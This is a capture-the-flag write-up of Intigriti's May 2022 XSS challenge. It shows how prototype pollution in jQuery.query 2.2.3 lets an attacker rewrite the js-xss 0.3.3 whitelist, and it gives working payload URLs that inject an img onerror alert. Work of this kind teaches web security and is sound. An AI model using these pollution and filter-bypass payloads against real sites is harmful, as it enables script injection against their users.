# Intigriti XSS Challenge 0522 Challenge author: PiyushThePal Link: https://challenge-0522.intigriti.io/29592 ## Reconnaissance Let's start by getting an overview of the challenge. When we browse the website we see it's all static content and not much interesting is going on. The only parameter we control is the `?page=1` parameter in the URL. ```javascript var pl = $.query.get('page'); if(pages[pl] != undefined){ console.log(pages); document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]); } else { document.location.search = "?page=1" } ``` At first this code seems secure. The only interesting thing we can find is `filterXSS(pages[pl])`, we can assume we will have to try and insert XSS into `pages[pl]` and then we have to bypass the XSS filter. Let's take a look at the pages array and see if we can insert HTML code somehow. ```javascript var pages = { 1: `HOME <h5>Pollution is consuming the world. It's killing all the plants and ruining nature, but we won't let that happen! Our products will help you save the planet and yourself by purifying air naturally.</h5>`, 2: `PRODUCTS <br> <footer> <img src="https://miro.medium.com/max/1000/1*Cd9sLiby5ibLJAkixjCidw.jpeg" width="150" height="200" alt="Snake Plant"></img><span>Snake Plant</span> </footer> <footer> <img src="https://miro.medium.com/max/1000/1*wlzwrBXYoDDkaAag_CT-AA.jpeg" width="150" height="200" alt="Areca Palm"></img><span>Areca Palm</span> </footer> <footer> <img src="https://miro.medium.com/max/1000/1*qn_6G8NV4xg_J0luFbY47w.jpeg" width="150" height="200" alt="Rubber Plant"></img><span>Rubber Plant</span> </footer>`, 3: `CONTACT <br><br> <b> <a href="https://www.facebook.com/intigriticom/"><img src="https://cdn-icons-png.flaticon.com/512/124/124010.png" width="50" height="50" alt="Facebook"></img></a> <a href="https://www.linkedin.com/company/intigriti/"><img src="https://cdn-icons-png.flaticon.com/512/61/61109.png" width="50" height="50" alt="LinkedIn"></img></a> <a href="https://twitter.com/intigriti"><img src="https://cdn-icons-png.flaticon.com/512/124/124021.png" width="50" height="50" alt="Twitter"></img></a> <a href="https://www.instagram.com/hackwithintigriti/"><img src="https://cdn-icons-png.flaticon.com/512/174/174855.png" width="50" height="50" alt="Instagram"></img></a> </b> `, 4: ` <div class="dropdown"> <div id="myDropdown" class="dropdown-content"> <a href = "?page=1">Home</a> <a href = "?page=2">Products</a> <a href = "?page=3">Contact</a> </div> </div>` }; ``` There is no way to insert content into this object so we're also kind of stuck here. However, it is worth noting that pages is an object, and not an array. Normally an array would've been the better solution so the fact that an object is used is somewhat interesting, although not entirely out of the ordinary. Now the high level code we've seen has no obvious security issues, so it's time to take a look at the implementations. ```html <script src="https://cdnjs.cloudflare.com/ajax/libs/js-xss/0.3.3/xss.min.js"></script> <script src="https://code.jquery.com/jquery-3.5.1.js"></script> <script> /** * jQuery.query - Query String Modification and Creation for jQuery * Written by Blair Mitchelmore (blair DOT mitchelmore AT gmail DOT com) * Licensed under the WTFPL (http://sam.zoy.org/wtfpl/). * Date: 2009/8/13 * * @author Blair Mitchelmore * @version 2.2.3 * **/ (javascript code here) </script> ``` |Library|Findings| |-|-| |XSS.js 0.3.3|This seems interesting, taking a look at the [version history](https://www.npmjs.com/package/xss?activeTab=versions) the package seems outdated and probably has been put in here for a reason. Doing some initial research we find 2 vulnerabilities: [ReDoS](https://snyk.io/test/npm/xss/0.3.3) and [Sanetization Bypass](https://www.sourceclear.com/vulnerability-database/security/cross-site-scripting-xss-due-to/javascript/sid-2309/).| |jQuery 3.5.1|This version was released pretty recently, only 2 years ago. It's pretty normal to use long term stable releases but perhaps there is a vulnerability for this package. Taking a look at the [CVE database](https://www.cvedetails.com/vulnerability-list/vendor_id-6538/Jquery.html) there are multiple vulnerabilities. But when we take a look at what versions are affected, we can see a couple where jQuery was affected below versions 3.5.0, so we can't find anything about the version we're currently using.| |jQuery.query 2.2.3|This [plugin](https://plugins.jquery.com/query-object/) seems quite outdated. Doing some reconnaissance we find out that the [SET function is vulnerable to prototype pollution](https://gist.github.com/bdimcheff/2975441?permalink_comment_id=3730184#gistcomment-3730184).| ## Finding the vulnerability During our reconnaissance we found out that jQuery.query's SET function was vulnerable to prototype pollution. When we take a look at our code the SET function never gets called. However, this does indicate that there may be another prototype pollution vulnerability. ```javascript var pl = $.query.get('page'); ``` We call the get function of the library, whose code is pasted down below. ```javascript GET: function(key) { if (!is(key)) return this.keys; var parsed = parse(key), base = parsed[0], tokens = parsed[1]; var target = this.keys[base]; while (target != null && tokens.length != 0) { target = target[tokens.shift()]; } return typeof target == 'number' ? target : target || ""; }, get: function(key) { var target = this.GET(key); if (is(target, Object)) return jQuery.extend(true, {}, target); else if (is(target, Array)) return target.slice(0); return target; }, ``` Let's start by analyzing this code. We see that the `get` function calls the `GET` function. When we take a look at what the `GET` function does, it's mostly just parsing all of the data. The next line of the `get` function calls `is(target, Object)`. The `is` function is as follows: ```javascript var is = function(o, t) { return o != undefined && o !== null && (!!t ? o.constructor == t : true); }; ``` So all this code really does is check if the target is of type Object. So what is considered an object? ```javascript is(4, Object) // false is("hey", Object) // false is([], Object) // false is({}, Object) // true is(new Object, Object) // true ``` Because the application is expecting a page number and not an object, I believe this could be a possible attack vector. Therefore let's investigate further and see if we can satisfy this condition. So in order to do that, we somehow need to pass in an object through a GET request. If we google "pass in object get parameter" then we don't get a lot of relevant results. They talk mostly about how to do it through a serialized JSON object. We do not have any deserialization going on so this won't do. So it's time to experiment a bit. I download the website locally and open up the source code to make some changes. I start by changing the `get` function and adding some console output; ```javascript get: function(key) { var target = this.GET(key); console.dir("target", target); // added console.dir("isobject?", is(target, Object)); // added if (is(target, Object)) { console.dir("extends", jQuery.extend(true, {}, target)); // added return jQuery.extend(true, {}, target); } // we needed to add braces else if (is(target, Array)) return target.slice(0); return target; }, ``` Now if we go to the website we can open the console and see the following output: ``` target <empty string> isobject? false target 1 isobject? false ``` Let's try passing in an array now. So let's go to `?page[]=1&page[]=2` and see what we get. ``` target Array [ 1, 2 ] isobject? false target 1 isobject? false ``` So it seems like we got redirected because `pages[ [1,2] ]` is equals to `undefined`. Let's modify the code to remove the redirection. ```javascript var pl = $.query.get('page'); if(pages[pl] != undefined){ console.log(pages); document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]); } else { //document.location.search = "?page=1" // removed console.log("Redirection blocked.") // added } ``` Now what would happen if we passed in a dictionary instead of an array? Let's visit `?page[a]=1&page[b][c]=2` ![](https://i.imgur.com/bXEpHke.png) We have successfully passed in an object and passed the condition. Now let's see if we can [pollute the prototype](https://learn.snyk.io/lessons/prototype-pollution/javascript/) by going to the following URL: `?page[__proto__][a]=1` ![](https://i.imgur.com/a3AUucS.png) We have succesfully polluted the prototype of all objects. ✨Vulnerability found!✨ So let's try doing some XSS and solving the challenge. ## Let's inject some content! So our goal is to exploit the following piece of code with prototype pollution to insert any HTML code we may want: `document.getElementById("root").innerHTML = pages['4']+filterXSS(pages[pl]);` So let's try seeing what happens if we do the the following url: `?page[__proto__][a]=I am vulnerable!&page=a` ![](https://i.imgur.com/sSXeJ2j.png) ## Bypassing the XSS filter We have successfully injected a page in the pages' prototype and then accessed it. However as `filterXSS` hints, there will be some XSS filtering. So let's just try injecting some HTML and seeing how it gets filtered. `?page[__proto__][a]=<img src%3Dx onerror%3D"alert(document.domain)">&page=a` ![](https://i.imgur.com/SAYX2ds.png) Let's start by [beautifying](https://beautifier.io/) `xss.js` and inspecting the `FilterXSS` function. ```javascript function FilterXSS(options) { options = shallowCopyObject(options || {}); if (options.stripIgnoreTag) { if (options.onIgnoreTag) { console.error('Notes: cannot use these two options "stripIgnoreTag" and "onIgnoreTag" at the same time') } options.onIgnoreTag = DEFAULT.onIgnoreTagStripAll } options.whiteList = options.whiteList || DEFAULT.whiteList; options.onTag = options.onTag || DEFAULT.onTag; options.onTagAttr = options.onTagAttr || DEFAULT.onTagAttr; options.onIgnoreTag = options.onIgnoreTag || DEFAULT.onIgnoreTag; options.onIgnoreTagAttr = options.onIgnoreTagAttr || DEFAULT.onIgnoreTagAttr; options.safeAttrValue = options.safeAttrValue || DEFAULT.safeAttrValue; options.escapeHtml = options.escapeHtml || DEFAULT.escapeHtml; this.options = options; if (options.css === false) { this.cssFilter = false } else { options.css = options.css || {}; this.cssFilter = new FilterCSS(options.css) } } ``` So as we can see there are quite a few options which we can set through prototype pollution. What really piqued my interest is the whiteList property. Let's start by taking a look at what exactly it does. ```javascript var retHtml = parseTag(html, function(sourcePosition, position, tag, html, isClosing) { var info = { sourcePosition: sourcePosition, position: position, isClosing: isClosing, isWhite: tag in whiteList // <--------------- WHITELIST HERE }; var ret = onTag(tag, html, info); if (!isNull(ret)) return ret; if (info.isWhite) { if (info.isClosing) { return "</" + tag + ">" } var attrs = getAttrs(html); var whiteAttrList = whiteList[tag]; // <----- WHITELIST HERE var attrsHtml = parseAttr(attrs.html, function(name, value) { var isWhiteAttr = _.indexOf(whiteAttrList, name) !== -1; var ret = onTagAttr(tag, name, value, isWhiteAttr); if (!isNull(ret)) return ret; if (isWhiteAttr) { value = safeAttrValue(tag, name, value, cssFilter); if (value) { return name + '="' + value + '"' } else { return name } } else { var ret = onIgnoreTagAttr(tag, name, value, isWhiteAttr); if (!isNull(ret)) return ret; return } }); var html = "<" + tag; if (attrsHtml) html += " " + attrsHtml; if (attrs.closing) html += " /"; html += ">"; return html } else { var ret = onIgnoreTag(tag, html, info); if (!isNull(ret)) return ret; return escapeHtml(html) } }, escapeHtml); ``` So interestingly, the `img` tag does not get filtered, it seems like the default whitelist allows this tag to pass through the XSS filter. However we can inject any tag by adding it to the prototype. `?page[__proto__][script]=1&page[__proto__][a]=<script>alert(document.domain)</script>&page=a` ![](https://i.imgur.com/1DVLnRL.png) However, scripts don't get execute if they're added with `.innerHTML` so we need to use a different tag. My goal is to inject the following piece of HTML code: `<img src=x onerror="alert(document.domain)">`, which will execute if it's added with `.innerHTML`. But as seen before, all tags get stripped, so let's figure out how to bypass the tag whitelist. ```javascript // tag = "img" var whiteAttrList = whiteList[tag]; var isWhiteAttr = _.indexOf(whiteAttrList, name) !== -1; ``` So at first this seems like a problem, because `Array.indexOf` does not check the prototype of an array. However, even though `whiteAttrList` is presumed to be an array, it does not necessarily need to be. We can turn it into a string, which functions a lot like an array, which is why `Array.indexOf(string, needle)` will also work. So let's add `src` and `onerror` to the whitelist with the following parameter: `?page[__proto__][whiteList][img]=srconerror` So let's try the previous payload with the bypass prepended. `?page[__proto__][whiteList][img]=srconerror&page[__proto__][a]=<img src%3Dx onerror%3D"alert(document.domain)">&page=a` ✨Success!✨ ![](https://i.imgur.com/JkjSbcq.png) ## Correction after challenge ended > So at first this seems like a problem, because `Array.indexOf` does not check the prototype of an array. I incorrectly assumed `whiteList` was already set to the default whitelist. This is not the case and the `whiteList` can be overwritten with prototype injection and therefore it can be an array and doesn't necessarily have to be a string. Thanks to [0xGodson](https://github.com/0xGodson/blogs/blob/master/_posts/2022-06-03-intigriti-may-chal.md) for this correction.